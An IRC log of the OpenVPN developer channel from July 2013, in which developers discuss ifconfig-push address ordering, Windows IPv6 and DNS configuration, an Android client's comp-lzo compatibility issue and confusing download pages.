[~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 18:54 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 18:54 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 19:30 -!- raidz is now known as raidz_away --- Day changed Fri Jul 19 2013 03:23 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:23 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 03:23 -!- mattock_afk is now known as mattock 04:10 -!- mattock is now known as mattock_afk 04:20 <@d12fk> hm, if i put "local feed::193" into the config i get: "RESOLVE: Cannot resolve host address: feed::193: Address family for hostname not supported" 04:21 <@d12fk> cron2 can probably help here 04:21 <@d12fk> ah nevermind --proto udp6 does it 05:45 < ||arifaX> d12fk: is it planned to *fix* the all users startmenu with the sophos openvpn-gui or will this be by design? I don't understand why you put so much work in making it working without administrative privileges, but then not put the shortcuts in clients startmenu. 05:46 < ||arifaX> d12fk: is it open, meaning can I get the nsis source to compile it the way I like? 05:46 <@d12fk> yes, you can download the gpl iso from our ftp 05:47 <@d12fk> for the bug, please contact support and then it will go its way 05:47 < ||arifaX> d12fk: I see. So just open a call and ask for it? 05:48 <@d12fk> yes and don't settle with by design apologies, mention me if anything fails 05:49 < ||arifaX> k 08:07 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection] 08:24 -!- mattock_afk is now known as mattock 11:09 -!- raidz_away is now known as raidz 13:39 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 13:40 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:40 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 13:40 -!- dazo_afk is now known as dazo 13:45 -!- mattock is now known as mattock_afk 19:14 -!- raidz is now known as raidz_away --- Day changed Sat Jul 20 2013 03:35 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 03:35 -!- mode/#openvpn-devel [+o andj__] by ChanServ 03:46 -!- Netsplit *.net <-> *.split quits: @andj 03:46 -!- andj__ is now known as andj 04:07 -!- Netsplit *.net <-> *.split quits: +krzee, ender^, @pekster, jgeboski 04:07 -!- Netsplit over, joins: @pekster, jgeboski, ender^, +krzee 04:08 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 04:08 -!- Netsplit *.net <-> *.split quits: @pekster, jgeboski, ender^ 04:09 -!- jgeboski- is now known as jgeboski 04:10 -!- Netsplit over, joins: ender^, @pekster 14:54 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 15:10 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 21:39 <+krzee> the howto is incorrect where it uses ifconfig-push 21:44 <+krzee> ccd/contractor2 21:44 <+krzee> ifconfig-push 10.8.2.5 10.8.2.6 21:44 <+krzee> should be reversed, 6 first then 5 --- Day changed Sun Jul 21 2013 02:30 <@cron2> it really does not matter 02:31 <@cron2> "one address for the peer, the other address for the server" - which is never actually *used* on the server in tun/p2mp mode 02:31 <@cron2> it's just there to have something to point routes to 02:31 <+krzee> in net30 it doesnt work reversed 02:32 <+krzee> cause the client cant take .5 02:32 <@cron2> why? 02:32 <+krzee> client gets .6 .10 .14 .18 02:33 <@cron2> well, that's the normal allocation, but ifconfig-push overrides this. Have you actually tried it, and it does not work, or are you assuming that it doesn't work because "the client would have to get .6"? 02:33 <+krzee> assuming, it could have been something else wrong in the users setup 02:33 <+krzee> i should test it 07:39 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 07:42 -!- Whoopie [Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 260 seconds] 08:03 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 256 seconds] 08:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 08:20 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 08:25 -!- Whoopie [Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 10:46 < vpnHelper> RSS Update - tickets: #310: concern ver. 2.2.2 fixed <https://community.openvpn.net/openvpn/ticket/310> 10:58 <@pekster> krzee: Works fine; in net30 openvpn complains if you're not using the middle of a /30 (due to win32 TAP-Win32 requirements) but the order doesn't matter. Further, even in net30, OSes that can do PtP config do, although they'll still complain if the IPs aren't in a /30 due to compatibility issues 10:58 <@pekster> Technically in PtP you can do things as silly as --ifconfig 10.2.3.4 192.168.8.9` as well 11:02 <+krzee> i can see the manual entry now, --ifconfig-push local remote 11:02 <+krzee> local and remote are from the perspective of the client running ifconfig, not the server. order does not matter, just toss in anything 11:02 <+krzee> :D 13:38 -!- Netsplit *.net <-> *.split quits: @pekster 13:51 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 13:51 -!- mode/#openvpn-devel [+o pekster] by ChanServ 14:15 <@cron2> exactly... the whole local/remote ip address thing is somewhat arbitrary anyway as the server will never actually *use* the "server address" in net30 mode 14:52 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 264 seconds] 14:52 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 264 seconds] 15:26 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:26 -!- mode/#openvpn-devel [+o cron2_] by ChanServ --- Day changed Mon Jul 22 2013 02:48 -!- d457k [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 02:48 -!- mode/#openvpn-devel [+o d457k] by ChanServ 03:10 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn-devel 03:21 -!- mattock_afk is now known as mattock 04:40 -!- Linmu [~Linmu@203.70.194.104] has left #openvpn-devel [] 04:48 -!- d457k is now known as d12fk 05:14 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn-devel 05:21 < ||arifaX> d12fk: today placed a call via our distributer for the missing startmenu links of the SSL VPN. Referred to you, hopefully will land on your desk someday? 05:34 <@ecrist> ||arifaX: what are you talking about? 05:35 -!- d12fk is now known as d457k 05:35 < ||arifaX> ecrist: sorry talked about something that was days ago, just wanted to give d12fk an update of the status. 05:36 -!- d457k is now known as d12fk 05:36 -!- d12fk is now known as d12fk| 05:36 <@ecrist> k 05:36 -!- d12fk| is now known as d12fk 05:36 <@d12fk> ||arifaX: k2 07:32 -!- mattock is now known as mattock_afk 10:13 -!- raidz_away is now known as raidz 10:13 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection] 10:33 * ecrist offers dick face^H^H^H^H^H^H^H^H^HEmanuel his money back and suggests email carpet-bombs aren't condusive to his feedback being well-received. 10:42 <@d12fk> who? 10:42 <@ecrist> some dude complaining aboug navigating to the download link 10:43 <@d12fk> tell him to google it =) 11:21 -!- mattock_afk is now known as mattock 12:22 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 264 seconds] 12:27 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 12:33 -!- mattock is now known as mattock_afk 12:52 <@cron2_> well, but he *is* right - unless you know that to find the windows installer under "community", it's really hard to find 14:06 <@ecrist> it is in the same place as the rest of the community downloads though 14:07 <@cron2_> yeah, if you know that you have to click "community" and not "download" first... 19:32 -!- raidz is now known as raidz_away 21:28 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Remote host closed the connection] 21:28 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn-devel --- Day changed Tue Jul 23 2013 02:23 < syzzer> yeah, although this dude is a jerk for sending his frustrated mail to every address he could find, I have to atmit he has a valid point. 02:40 <@cron2_> +1 04:27 <@d12fk> how about redirecting to the community section from the sf.net site instead of to openvpn.net 05:25 <@d12fk> cron2_: there? 05:59 -!- Netsplit *.net <-> *.split quits: riddle, ender^ 06:00 -!- Netsplit over, joins: riddle 06:26 <@cron2_> d12fk: no! 08:23 <@d12fk> win32 philosophy anyone 08:24 <@d12fk> it's about --ip-win32 and IPv6 and the future 08:32 <@plaisthos> like having 4 different methods for ipv4 and what to do about ipv6? 08:34 <@d12fk> yes, ipv6 just has netsh currently, which breaks with non-admin users of course 08:34 <@d12fk> the dhcp otpion is superior here, but maybe also more likly to break 08:47 <@cron2_> can you set routes with dhcp? 08:48 <@plaisthos> As in "We want both" 08:49 <@cron2_> well, for IPv6, we have one, because that's what I implemented and which works. For IPv4, DHCP is great, but then having to call route.exe which also needs admin privileges is not such a big gain. OTOH if you can configure routes using IPv4 DHCP (there is an option for that, but I don't know whether windows supports it, and whether the tap drver fake dhcp supports it...) that would be even nicer... 08:50 <@cron2_> for IPv6 DHCP, it's even more complicated as I'm fairly sure that Windows does not support the "more specific route" option in RA (and there is no routing in DHCPv6) 08:50 <@cron2_> ... and no DHCPv6 at all in WinXP, if I remember correctly 08:50 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Ping timeout: 256 seconds] 08:51 -!- jamxNL [~jamx@62.45.194.86] has joined #openvpn-devel 08:52 <@d12fk> i'm talking about this since it's the ipv6 itf config that fails with the service for (ipv6) routes in place 08:54 <@d12fk> if there's an API for setting DNS/WINS and such (under XP) there's no justification for DHCP anymore 08:54 <@d12fk> with the service doing that i must add 08:57 <@d12fk> maybe i should ask james about the motivation for dhcp in the first place 08:58 <@d12fk> implementing dhcpv6 probably is the worst choice here, even without XP in mind 09:00 <@d12fk> cron2_: how do you set dns servers in an ipv6 only setup? 09:03 <@plaisthos> stateless dhcpv6 server 09:03 <@plaisthos> at least that seems to be the only way on a normal ethernet lan 09:03 <@plaisthos> or again netsh 09:06 <@cron2_> d12fk: no idea, as we don't support setting IPv6 DNS servers at all right now, so I didn't investigate 09:07 <@cron2_> outside of OpenVPN, there is "RA+RDNSS option" (which windows does not support) or "stateless DHCPv6" (which it does). 09:07 <@cron2_> or netsh 09:07 <@cron2_> or well-known IPv6 resolver addresses (fec0:0:0:ffff::1 and ::2) 09:08 <@cron2_> but I think "how do things on windows in the future" would make a nice topic for a Thursday evening meeting (and nothing else that day) 09:09 <@cron2_> since James is usuall there when we declare a meeting... 09:54 <@d12fk> agree about the thu. meeting 09:54 <@d12fk> but how to go on from here regarding setting ipv6 addresses 09:54 <@d12fk> invent another message for setting addresses and push the patch out? 09:55 <@d12fk> at least that's what i have in mind right now 09:55 <@d12fk> having the service with ipv6 routing but not addr setting does not make sense 09:57 <@d12fk> are fec0:0:0:ffff::1 and ::2 supported by ipv6 stacks widely? 09:57 <@d12fk> hm, users might still want to be more specific that that 09:57 <@d12fk> maybe they have vpn dns servers set up 09:58 <@d12fk> oh well afk for a while 10:04 <@cron2_> d12fk: uh, well, the service will have to do the address settings. ISTR that I said this a year ago or so already... :-) 10:04 <@cron2_> d12fk: the fec0:: thing is "windows only", and I do not know many ISPs that provide IPv6 DNS service on those addresses 10:15 -!- raidz_away is now known as raidz 11:14 <@cron2_> afk 11:33 -!- mattock_afk is now known as mattock 12:30 -!- raidz is now known as raidz_away 12:42 -!- raidz_away is now known as raidz 15:24 -!- mattock is now known as mattock_afk 19:49 -!- raidz is now known as raidz_away 21:24 -!- derRichard [~derRichar@pippin.sigma-star.at] has quit [Read error: Operation timed out] --- Day changed Wed Jul 24 2013 01:33 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:57 <@d12fk> cron2_: iirc setting the ip address via ipapi caused some problems because ovpn is racing with the adapter being upped by the system 02:57 <@d12fk> it's the cause of all the registerdns myths floating around the web 06:37 <@cron2_> d12fk: ah, indeed, so you need some delay there. Or we could up the tap adapter, *then* connect to the server, and then call ipapi... like "what the rest of the platforms do" 06:42 <@plaisthos> cron2_: not really. when using pull opneing tun/tap is delayed 06:46 <@cron2_> plaisthos: mmmh, true. I was confusing the ifconfig/open ordering. 06:46 <@cron2_> d12fk: isn't there an ipapi call to figure out whether a certain interface is "up"? 07:08 <@d12fk> cron2_: no idea the whole area of setting up IP is very obscure 07:08 <@d12fk> i.e. unsupported, hence the "hack" with dhcp 07:08 <@d12fk> you could somehow configure everything, but the itf specific dns suffix 07:10 <@d12fk> i took a look at this section of windows a couple of years ago but forgot how hard it was to accomlish anything with win32 api 07:10 <@d12fk> there's wmi com abject for the stuff but i think i pass here =) 07:36 <@d12fk> hm think adding the values directly into the registry and notifying the system is the best way to go here 07:36 <@d12fk> as much as i hate it... 07:37 <@d12fk> will look at a windows 8 now and if it supports that way too, that's it 07:38 <@cron2_> where will "netsh.exe" put the values, if not stored permanently? 07:38 <@cron2_> (store=active) 07:39 <@d12fk> didn't look at netsh, but is has no option for setting a connection specific domain suffix anyway 07:40 <@cron2_> I was more wondering about IPv4/IPv6 address setting 07:42 <@d12fk> well, there's apis for that, but if we do the registry thing for dns/win/domain we might as well just add the addresses that way 07:46 <@d12fk> oh well, maybe not. ipv6 address info seems to be stored somewhere else *sigh* 08:40 <@pekster> d12fk: Well, another part of that 'registerdns' myth nonsense is the stupid way Windows figures out "which" interface's search suffxes to include in the "global search suffix" crap 08:41 <@pekster> I wrote a post a while back (years) to openvpn-users ML that detailed the situation, but even if you push a domain, it won't actually get used until anywhere between 0-15 minutes, at least when I tested it a bit 08:42 <@pekster> The fun part is that if you make *any* change to the tap interface (including defining a setting to the value it already has) it somehow triggers the update on the global search suffix. I often just set DNS PTR registration on/off depending on the site needs, with the added bonus that if you didn't want it anyway it can be set to off 08:43 <@d12fk> the thing is that you have to flush the dns cache (somethimes) for the changes to take effect 08:43 <@pekster> I never had to do that :) 08:44 <@d12fk> well after 15 minutes windows times out the cache itself 08:44 <@d12fk> ipconfig /registerdns calls DnsFlushResolverCache internally 08:44 <@pekster> Oh, the cache, yes, sorry (thought you meant the dnscache service) 08:44 <@d12fk> that's what that works 08:44 <@pekster> Just flushing the cache alone wasn't enough to get the global search suffix fixed though 08:45 <@pekster> IIRC that was XP, although it might have also had the same issue in Win7 too 08:45 <@pekster> The net effect being that even if you push corp.example.net as a DNS domain, it wouldn't always get used right away, which annoys users who expect things like \\server\share or w/e to work magically 08:46 <@d12fk> hm stange that never seemed to be a problem for our customers 08:46 <@d12fk> and we had them complain about xp clients 08:46 <@d12fk> ipconfig /flushdns alsways did the trick 08:47 <@pekster> Maybe it's better in more recent Windows versions; I just wrote a cute post-connect executable for Windows that attempted to 1) set some value on the interface to get them update it 2) verify the resolution of an unqualified name that should exist, 3) `ipconfig /flushdns' and 4) repeat the procedure until it worked 08:47 <@pekster> Otherwise I'd watch the resolver do stupid things like ask for companyserver.myisp-domain-name.net 08:48 * pekster shrugs. It's what you get for using an OS that binds DNS and domains to interfaces, not the system 08:48 <@pekster> Poor documentation included at no extra charge! 08:49 <@d12fk> well at least we can team up on complaining about MS now =) 08:49 <@pekster> I poke at it slightly when I have a problem, but sometimes I can't say I really understand why it does what it does 08:50 <@d12fk> i's not all the logigal if you have a non ms mind 08:50 <@pekster> I still don't understand why this was broken before, even after reading the lousy API docs: https://github.com/OpenVPN/openvpn/commit/a19e35a95 08:50 < vpnHelper> Title: Fix Windows script execution when called from script hooks · a19e35a · OpenVPN/openvpn · GitHub (at github.com) 08:51 <@pekster> Stuff like that is just nuts 08:51 <@pekster> Anyway... :) 08:52 <@d12fk> yeah many of these broken apis are there because ppl used bugs in the apis that ms couldn't fix because they were widely used 08:52 <@d12fk> so instead they documented them and now we're where we are 08:52 <@pekster> Right, but the bug before was "return success even when a program that was asked to be run wasn't actually run" 08:52 <@pekster> I'm not sure who in their right mind would actually want that behavior ;) 08:53 <@d12fk> createprocess is most likely the oldest api in existence =) 08:54 <@d12fk> i'm not that old =) 08:54 <@plaisthos> yeah but try to run a 10-15 old linux binary ;) 08:54 <@d12fk> that's why windows is liked so widely, stuff keeps running 08:55 <@d12fk> you can have a windows 8.1 and your old clipper DOS app you've been using for you business since 1991 still runs 09:27 <@d12fk> and while we're at it, shouldn't the service bring the adapter up itself 09:27 <@d12fk> then we could also drop the non-admin adapter access 09:27 <@d12fk> and create adapters on demand and such 10:14 <@ecrist> that's not true 10:14 <@ecrist> Windows 7 broke most old DOS apps 10:15 <@ecrist> at $work, we have clients that have used old DOS programs to generate medical claims that are struggling now due to the Windows 7 upgrades 10:23 <@d12fk> and there's no compatibility mode for such? 10:24 <@d12fk> anyways, not defending windows downward compat here, how dare i do... =) 10:48 <@ecrist> no, there isn't 11:08 -!- raidz_away is now known as raidz 17:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 17:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:59 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 19:31 -!- raidz is now known as raidz_away --- Day changed Thu Jul 25 2013 00:28 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 00:29 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:38 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn-devel 01:39 * ||arifaX Good morning 05:40 <@plaisthos> Good morning 05:40 <@plaisthos> ecrist: isn't that most people switch to 64 bit with windows 7? 05:41 <@plaisthos> ecrist: and 64 bit windows does not have 16 bit app compatibility anymore (so no more win 3.11) 06:54 < ||arifaX> d12fk: here? 07:26 <@ecrist> plaisthos: that's a lot of it, yes 07:37 <@d12fk> ||arifaX: now 07:51 < ||arifaX> d12fk: you should have a call for the ssl vpn client on your desk, do you? 07:51 <@d12fk> yes 07:51 < ||arifaX> fine 10:13 -!- raidz_away is now known as raidz 11:13 -!- mattock_afk is now known as mattock 11:13 < vpnHelper> RSS Update - tickets: #311: Client does not always die after a hard SIGTERM <https://community.openvpn.net/openvpn/ticket/311> 11:21 <@plaisthos> d12fk: ping 11:21 <@plaisthos> d12fk: can you have a look at this? https://plus.google.com/u/0/106099015458650771313/posts/TxRdPBQmDSE?cfem=1 11:25 <@plaisthos> vpnHelper seem not like https links :D 13:10 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 240 seconds] 13:17 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 13:18 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood] 13:20 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 13:24 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 240 seconds] 13:32 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 14:18 -!- Netsplit *.net <-> *.split quits: vpnHelper 14:18 -!- Netsplit over, joins: vpnHelper 14:20 -!- Netsplit *.net <-> *.split quits: riddle 14:21 -!- Netsplit over, joins: riddle 15:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 15:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:21 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:33 -!- mattock is now known as mattock_afk 17:32 -!- chiiph_ [~chiiph@unaffiliated/chiiph] has joined #openvpn-devel 17:34 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Ping timeout: 248 seconds] 19:59 -!- raidz is now known as raidz_away --- Day changed Fri Jul 26 2013 00:17 <@d12fk> plaisthos: is this about ovpn4android 00:21 <@d12fk> the issue is fixed in 9.103 which is out since July 9th 00:23 <@d12fk> problem was that comp-lzo no and not having the option there is not the same as you stated in g+ 00:25 <@d12fk> fixed it on the server side: http://pastebin.com/H5VYXSF2 00:26 <@d12fk> considered it too hacky for upstream 00:27 <@d12fk> this has better highlighting http://pastebin.com/vi2hEsnX 00:35 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 00:37 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:06 <@d12fk> does anyone know anything about the NBDD dhcp-option and why it's there? 04:06 <@d12fk> could it be that it's unsupported in xp and later? 04:07 <@d12fk> at least i didn't find a registry key for the dhcp option 04:07 <@d12fk> the other netbios specific ones are there 04:24 <@plaisthos> nbdd? 04:24 <@plaisthos> NetBIOS Datagram Distribution (NBDD) Server 04:24 <@plaisthos> I never heard that before :) 04:25 <@d12fk> me neither, this is dragging me into windows hell yet again... 04:26 <@d12fk> suppose i'll just not support it then 04:26 <@d12fk> someone with a nt 4 around? 04:27 <@d12fk> i mean it must have been supported sometime 04:28 <@d12fk> http://www.itlisting.org/5-windows/1d5b882c9811f9f6.aspx 04:28 < vpnHelper> Title: NetBIOS datagram distribution server support: is there any? - Windows OS (at www.itlisting.org) 04:28 <@d12fk> this is about the issue i have and it's from y2k 04:44 <@cron2_> I thought we decided that we no longer support nt4 and w2k? 06:17 <@d12fk> cron2_: Ijust want to make sure that the option was there in NT4, unsure if it's somehow wired differently than the other NBT options 06:40 <@plaisthos> d12fk: V9.103 does not help the user, I bet you will have a ticket soon: https://plus.google.com/u/0/106099015458650771313/posts/TxRdPBQmDSE?cfem=1 06:43 <@d12fk> plaisthos: strange, don't know why it souldn't work with android. will try quickly 06:52 <@d12fk> plaisthos: you seem to send no OCC, that's why it fails 06:52 <@plaisthos> d12fk: I think your patch fails with the client has comp-lzo no and the server has no comp-lzo 06:53 <@plaisthos> If I read the patch correctly the server removes its own comp-lzo if a non comp-lzo client connects 06:53 <@plaisthos> my client should send occ 06:53 <@d12fk> plaisthos: yes, but the utm alsways has comp-lzo no/yes, so that's no issue for us 06:54 <@plaisthos> hm I don't understand why it fails then 06:54 <@d12fk> i don't see the downgrad msg in the server log 06:55 <@plaisthos> d12fk: what options did you use in the client config? 06:55 <@plaisthos> no comp-lzo option at all? 07:00 <@d12fk> ok now it downgraded 07:03 <@d12fk> seems to work 07:05 <@d12fk> hm inactivity timeout 07:26 <@plaisthos> no idea about that :/ 07:29 <@d12fk> let support handle it 09:24 <+krzee> <danfromuk> I'm confused. I'm using the community version of openvpn server and what i thought was the community version of the windows client. <--- confusing website strikes again! 10:09 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 10:12 -!- Whoopie [Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 10:29 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 10:33 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 10:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 10:55 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 11:43 -!- raidz_away is now known as raidz 11:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 12:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 12:09 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 12:12 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 12:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 12:31 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 12:59 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 13:03 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 14:28 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 14:32 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 14:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 14:45 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 15:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 15:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 15:26 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 15:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 15:38 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 15:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 15:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 16:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 16:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 16:48 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 17:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 17:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 17:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 17:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 18:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 18:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 18:31 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 18:34 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 264 seconds] 18:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 19:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 19:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 19:43 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 19:47 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 19:48 -!- raidz is now known as raidz_away 20:18 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 20:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 21:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 21:34 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 22:14 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 22:17 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 22:26 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 22:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 22:48 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 22:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 23:24 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 23:28 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 23:37 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 23:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 23:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 23:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel --- Day changed Sat Jul 27 2013 00:06 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds] 00:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 00:39 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 00:43 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 00:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 00:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 06:58 < vpnHelper> RSS Update - tickets: #312: default gw gets stripped from dhcp packets that go over a openvpn bridge <https://community.openvpn.net/openvpn/ticket/312> 13:27 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 13:55 <@ecrist> Whoopie: you still should fix that internet connection 21:12 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 21:13 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jul 28 2013 00:45 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has left #openvpn-devel ["bye"] 21:39 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 21:41 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Jul 29 2013 04:19 <@plaisthos> Do we have a MSI version of the windows installer? 04:19 <@plaisthos> and btw there is a space at the end of the windows installer name: 04:19 <@plaisthos> package { 'OpenVPN 2.3.2-I001 ': ensure => 'installed', 04:19 <@plaisthos> } 10:14 -!- raidz_away is now known as raidz 10:30 < vpnHelper> RSS Update - tickets: #313: OpenVPN Connect (Android) does not detect network change 3G -> WiFi <https://community.openvpn.net/openvpn/ticket/313> 13:18 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 13:18 -!- krzee [~k@openvpn/community/support/krzee] has joined 